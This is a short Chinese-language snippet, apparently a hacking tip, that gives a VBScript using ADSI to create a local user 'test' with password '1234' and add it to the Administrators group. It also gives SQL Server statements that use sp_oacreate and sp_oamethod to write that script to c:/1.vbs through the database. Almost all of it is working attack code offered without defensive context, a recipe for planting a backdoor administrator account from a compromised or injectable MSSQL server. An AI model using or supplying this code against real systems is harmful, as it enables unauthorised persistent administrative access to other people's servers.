使用ADSI的Winnt對象，Windows2000后面的系統都屬于NT系列

 

set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os) '得到adsi接口,綁定 
Set oe=GetObject(os&"/Administrators,group") '屬性,admin組 
Set od=ob.Create("user","test") '建立用戶 
od.SetPassword "1234" '設置密碼 
od.SetInfo '保存 
Set of=GetObject(os&"/test",user) '得到用戶 
oe.add os&"/test" 

SQL語句如下，采用sp_oamethod過程： 

declare @o int, @f int, @ret int 
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'createtextfile', @f out, 'c:/1.vbs', 1 
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject 
("WSCRIPT.NETWORK")' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. 
ComputerName' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject 
(os&"/Administrators,group")' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create 
("user","test")' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo ' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject 
(os&"/test",user) ' 
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'